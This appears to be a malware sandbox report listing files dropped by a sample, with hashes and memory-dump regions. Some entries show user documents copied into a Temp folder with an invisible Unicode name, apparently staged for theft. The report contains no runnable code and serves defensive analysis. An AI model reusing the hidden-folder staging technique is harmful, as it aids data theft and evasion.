de978d97c04bad9ebb3f423210cbcb1b78a07c21daadc5c166e00206ece8dcd7baac1d67c84923c9cc79c8b9dfbec719ce7b5f17343a069527bba1a4d0454c29

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI26002\unicodedata.pyd
Filesize
295KB

MD5
908e8c719267692de04434ab9527f16e

SHA1
5657def35fbd3e5e088853f805eddd6b7b2b3ce9

SHA256
4337d02a4b24467a48b37f1ccbcebd1476ff10bdb6511fbb80030bbe45a25239

SHA512
4f9912803f1fa9f8a376f56e40a6608a0b398915b346d50b6539737f9b75d8e9a905beb5aace5fe69ba8847d815c600eb20330e79a2492168735b5cfdceff39a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mhpo1sq3.owf.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‏‍ ‏‍ ‏ \Common Files\Desktop\FindNew.docx
Filesize
1.0MB

MD5
f09dc17778f7304a4d43fa96fc3a8c2d

SHA1
de9eb525c5a21e0deffe8cb555aa99c58e798f45

SHA256
fa13f8b0f85486f8fb7bb1cc8394bfd94f1f9dac3551e9cfefcae52441b05457

SHA512
de9b4ab6dc1ee7a91b7a8c75e78c714e1f620b027213982aeedaffef3dc5d741b2213c06b42f45afb311543118e3ef80f787560fdb22e2c9b59845a71c068675

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‏‍ ‏‍ ‏ \Common Files\Desktop\UpdateResume.png
Filesize
607KB

MD5
9af5f23e40ef42dce90cb295624f243c

SHA1
8fabf812e4f2ec8be209abc24b1f79936e2d4614

SHA256
494066de2536effe13fd9a319689dbd447c107548cdbe914ca8c85241d377fe5

SHA512
0285ea2fb115c3c7fcab76f0c58d18203672f6312bd7ef685d89b33056c494023e0d2e2fbaefb0fa5d22951acb3c663341985af026c5e79a0f20f1b04d065240

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‏‍ ‏‍ ‏ \Common Files\Documents\Are.docx
Filesize
11KB

MD5
a33e5b189842c5867f46566bdbf7a095

SHA1
e1c06359f6a76da90d19e8fd95e79c832edb3196

SHA256
5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

SHA512
f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‏‍ ‏‍ ‏ \Common Files\Documents\EnterRestore.pdf
Filesize
1007KB

MD5
7ae76185dc6b722c13133be5f226c2a7

SHA1
48430728d93c4f132af1a7c2f48db139247546e1

SHA256
e689206c3b07bcd31e8794858b4416cd958ae5abcdf8bf32a6896b5c25d72c9a

SHA512
d487a8225446cc9431481a33917debfb757548172219627b584fb8b718e3fc89343da2508c14313dead317123dc9007c1e092a46f8229c288d888d35a408aeeb

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‏‍ ‏‍ ‏ \Common Files\Documents\Files.docx
Filesize
11KB

MD5
4a8fbd593a733fc669169d614021185b

SHA1
166e66575715d4c52bcb471c09bdbc5a9bb2f615

SHA256
714cd32f8edacb3befbfc4b17db5b6eb05c2c8936e3bae14ea25a6050d88ae42

SHA512
6b2ebbbc34cd821fd9b3d7711d9cdadd8736412227e191883e5df19068f8118b7c80248eb61cc0a2f785a4153871a6003d79de934254b2c74c33b284c507a33b

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‏‍ ‏‍ ‏ \Common Files\Documents\MountStart.csv
Filesize
1.4MB

MD5
86fd23c8e0fd6384b1477974dd416088

SHA1
33823f04146b70937d4646a97a140f8f7f5a9ec6

SHA256
80dbf48a4c697fe38cc41d3762768f413f3cb9545246fc7031327e6dba8c3312

SHA512
1622e6dd7877e9d7001edc8a7baf8a173e8e9e855f4b62e5be5666845cf58fa9faa7f9d0ab8c0574806ec1bd0b6ddc8877c63f4473d72ca23e9a74ae1a119b0f

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‏‍ ‏‍ ‏ \Common Files\Documents\Opened.docx
Filesize
11KB

MD5
bfbc1a403197ac8cfc95638c2da2cf0e

SHA1
634658f4dd9747e87fa540f5ba47e218acfc8af2

SHA256
272ed278e82c84cf4f80f48ec7989e1fc35f2055d6d05b63c8a31880846597a6

SHA512
b8938526fcbf7152805aec130ca553e3ec949cb825430a5d0a25c90ec5eb0863857010484a4b31fdc4bb65a4c92ad7127c812b93114be4569a677f60debe43b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‏‍ ‏‍ ‏ \Common Files\Documents\Recently.docx
Filesize
11KB

MD5
3b068f508d40eb8258ff0b0592ca1f9c

SHA1
59ac025c3256e9c6c86165082974fe791ff9833a

SHA256
07db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7

SHA512
e29624bc8fecb0e2a9d917642375bd97b42502e5f23812195a61a4920cae5b6ed540e74dfcf8432dcceb7de906ad0501cdd68056f9b0ec86a6bb0c1e336bfe32

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‏‍ ‏‍ ‏ \Common Files\Documents\These.docx
Filesize
11KB

MD5
87cbab2a743fb7e0625cc332c9aac537

SHA1
50f858caa7f4ac3a93cf141a5d15b4edeb447ee7

SHA256
57e3b0d22fa619da90237d8bcf8f922b142c9f6abf47efc5a1f5b208c4d3f023

SHA512
6b678f0dd0030806effe6825fd52a6a30b951e0c3dcf91dfd7a713d387aa8b39ec24368e9623c463360acba5e929e268f75ce996526c5d4485894b8ac6b2e0fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‏‍ ‏‍ ‏ \Common Files\Downloads\BackupUnregister.m4a
Filesize
547KB

MD5
f61eaa9fcee143db5c7cc169a714eac6

SHA1
fb553ae9c46523894eed7244e705a39de7acf6ad

SHA256
2fc7ca5bd297bb0e453661c7d3f29bdb179d9d104e50503ba725b37f81cf5019

SHA512
e59dc97452324f70025ab0eb61cfd0c5654a27ba7a9c26351014b06e7240fc43955e421e640f8c96c6b06b0d5c69ebce112bc95e7fc4839c9e66b7aabb6da4b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‏‍ ‏‍ ‏ \Common Files\Downloads\HideCompare.pdf
Filesize
357KB

MD5
595ebebb6edea718998d5f127f91fdaa

SHA1
04386a78081e249d3769d77288544afe43d8a189

SHA256
65b471b487a0c55b4ced735294bdfb250fb07b1f3c3fc2d5a7b905ecb0c626fc

SHA512
a9d744e9c19cfeb2c25052565fc12033576d173fa5fb1e20538b4a558493d5564a570f6f39eccff272a0a6c42de5f879685a3865286d14bb933bd912be56f6c8

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‏‍ ‏‍ ‏ \Common Files\Downloads\RestoreBackup.MOD
Filesize
659KB

MD5
eacf65c1131a1a7b32a5784c42ffe1f2

SHA1
025688fff3147292ec714dc33c320bcd24a9712a

SHA256
ac037980313acb7d3115f9906c1d3735dcc9d0cf9e45b132d75a189416f3f5f7

SHA512
9a2442279b72e192d89e143ab9c6b6e525937ad07b07418c6c02b337f41d0400508dc8db2c2488ae3a2fe6ab9fa088bf8d7cb143aaebfd96420e17544360f719

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‏‍ ‏‍ ‏ \Common Files\Downloads\StopReceive.mp4
Filesize
532KB

MD5
0ef2ca500d398a86e3660ee844546271

SHA1
fc7d67979b97309d5bd61a9d45259f7448f28db5

SHA256
10ccc887e54ce09027290cd3bfe6acf2cdfcd78a49748b352a7d8bd37ff506ed

SHA512
9bb5a8de27087bc7b2e42afebe47639862e57a69dad0a77f83c207c72e7edc84902e1fa5190a2438d4364ca44ebbb0b22ad143069b95e7c483a67ab8d475fa3c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\00zk5ngn\00zk5ngn.0.cs
Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\00zk5ngn\00zk5ngn.cmdline
Filesize
607B

MD5
718e2a4b25888033db9ebacbb2c60c1c

SHA1
8781b360a8b8b5c1705d3300c3b85cf01225c82f

SHA256
7d7d9fbc7c710bf7ee407a69bb8c96294def2cc5089f01f325b27ab328d76bcc

SHA512
1510ac34baf981bcb415f5e530f666da8413a2a0268a61df1c0ce29b1d8f9847217ce899a76129c986e76940f74463a7a1b1e693f09e852e63ce78e2c6aba55f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\00zk5ngn\CSC30F2B18C6AF5433D9BD094016B81681.TMP
Filesize
652B

MD5
aef0cd1fcfee4a920ebd18981a0e3dbd

SHA1
b81ab6747cca4d14fd63329b97600e3a2b3e3365

SHA256
b04cbe7d41faa52fce77cdb24162ed8affc510ac6437e7498638838331d84dc8

SHA512
26002ae23ad57510223a841c8896b40f74bb5d1cbda4a32c614b1b1aab4fb60bd712bb201b0d1d5bc1efc97f8a26aaed8e82a4e562cd0fc5c0353befb727ef98

Download Submit
memory/464-217-0x000001DFC2D10000-0x000001DFC2D18000-memory.dmp

Filesize
32KB

Download
memory/2956-308-0x00007FFDF4E20000-0x00007FFDF5195000-memory.dmp

Filesize
3.5MB

Download
memory/2956-344-0x00007FFDE68C0000-0x00007FFDE6EAA000-memory.dmp

Filesize
5.9MB

Download
memory/2956-79-0x00007FFDE68C0000-0x00007FFDE6EAA000-memory.dmp

Filesize
5.9MB

Download
memory/2956-307-0x00007FFDF5850000-0x00007FFDF5908000-memory.dmp

Filesize
736KB

Download
memory/2956-82-0x00007FFDF95A0000-0x00007FFDF95C3000-memory.dmp

Filesize
140KB

Download
memory/2956-80-0x00007FFDF59E0000-0x00007FFDF59ED000-memory.dmp

Filesize
52KB

Download
memory/2956-71-0x00007FFDF4E20000-0x00007FFDF5195000-memory.dmp

Filesize
3.5MB

Download
memory/2956-72-0x00000180CB960000-0x00000180CBCD5000-memory.dmp

Filesize
3.5MB

Download
memory/2956-63-0x00007FFDF60F0000-0x00007FFDF6109000-memory.dmp

Filesize
100KB

Download
memory/2956-67-0x00007FFDF5A30000-0x00007FFDF5A5E000-memory.dmp

Filesize
184KB

Download
memory/2956-68-0x00007FFDF5850000-0x00007FFDF5908000-memory.dmp

Filesize
736KB

Download
memory/2956-64-0x00007FFDFB880000-0x00007FFDFB88D000-memory.dmp

Filesize
52KB

Download
memory/2956-60-0x00007FFDF5370000-0x00007FFDF54DF000-memory.dmp

Filesize
1.4MB

Download
memory/2956-58-0x00007FFDF6110000-0x00007FFDF6133000-memory.dmp

Filesize
140KB

Download
memory/2956-56-0x00007FFDFBB20000-0x00007FFDFBB39000-memory.dmp

Filesize
100KB

Download
memory/2956-54-0x00007FFDF9520000-0x00007FFDF954D000-memory.dmp

Filesize
180KB

Download
memory/2956-47-0x00007FFDF95A0000-0x00007FFDF95C3000-memory.dmp

Filesize
140KB

Download
memory/2956-304-0x00007FFDF60F0000-0x00007FFDF6109000-memory.dmp

Filesize
100KB

Download
memory/2956-25-0x00007FFDE68C0000-0x00007FFDE6EAA000-memory.dmp

Filesize
5.9MB

Download
memory/2956-303-0x00007FFDF5370000-0x00007FFDF54DF000-memory.dmp

Filesize
1.4MB

Download
memory/2956-312-0x00007FFDF6110000-0x00007FFDF6133000-memory.dmp

Filesize
140KB

Download
memory/2956-373-0x00000180CB960000-0x00000180CBCD5000-memory.dmp

Filesize
3.5MB

Download
memory/2956-75-0x00007FFDF5830000-0x00007FFDF5844000-memory.dmp

Filesize
80KB

Download
memory/2956-81-0x00007FFDE6430000-0x00007FFDE654C000-memory.dmp

Filesize
1.1MB

Download
memory/2956-48-0x00007FFDFDBF0000-0x00007FFDFDBFF000-memory.dmp

Filesize
60KB

Download
memory/2956-297-0x00007FFDE68C0000-0x00007FFDE6EAA000-memory.dmp

Filesize
5.9MB

Download
memory/2956-298-0x00007FFDF95A0000-0x00007FFDF95C3000-memory.dmp

Filesize
140KB

Download
memory/2956-313-0x00000180CB960000-0x00000180CBCD5000-memory.dmp

Filesize
3.5MB

Download
memory/2956-329-0x00007FFDE68C0000-0x00007FFDE6EAA000-memory.dmp

Filesize
5.9MB

Download
memory/2956-368-0x00007FFDF5A30000-0x00007FFDF5A5E000-memory.dmp

Filesize
184KB

Download
memory/2956-372-0x00007FFDF5830000-0x00007FFDF5844000-memory.dmp

Filesize
80KB

Download
memory/2956-371-0x00007FFDF59E0000-0x00007FFDF59ED000-memory.dmp

Filesize
52KB

Download
memory/2956-370-0x00007FFDF4E20000-0x00007FFDF5195000-memory.dmp

Filesize
3.5MB

Download
memory/2956-369-0x00007FFDF5850000-0x00007FFDF5908000-memory.dmp

Filesize
736KB

Download
memory/2956-367-0x00007FFDFB880000-0x00007FFDFB88D000-memory.dmp

Filesize
52KB

Download
memory/2956-366-0x00007FFDF60F0000-0x00007FFDF6109000-memory.dmp

Filesize
100KB

Download
memory/2956-365-0x00007FFDF5370000-0x00007FFDF54DF000-memory.dmp

Filesize
1.4MB

Download
memory/2956-364-0x00007FFDF6110000-0x00007FFDF6133000-memory.dmp

Filesize
140KB

Download
memory/2956-363-0x00007FFDFBB20000-0x00007FFDFBB39000-memory.dmp

Filesize
100KB

Download
memory/2956-362-0x00007FFDF9520000-0x00007FFDF954D000-memory.dmp

Filesize
180KB

Download
memory/2956-361-0x00007FFDFDBF0000-0x00007FFDFDBFF000-memory.dmp

Filesize
60KB

Download
memory/2956-360-0x00007FFDF95A0000-0x00007FFDF95C3000-memory.dmp

Filesize
140KB

Download
memory/2956-359-0x00007FFDE6430000-0x00007FFDE654C000-memory.dmp

Filesize
1.1MB

Download
memory/2956-306-0x00007FFDF5A30000-0x00007FFDF5A5E000-memory.dmp

Filesize
184KB

Download
memory/3668-136-0x000001661D880000-0x000001661D8A2000-memory.dmp

Filesize
136KB

Download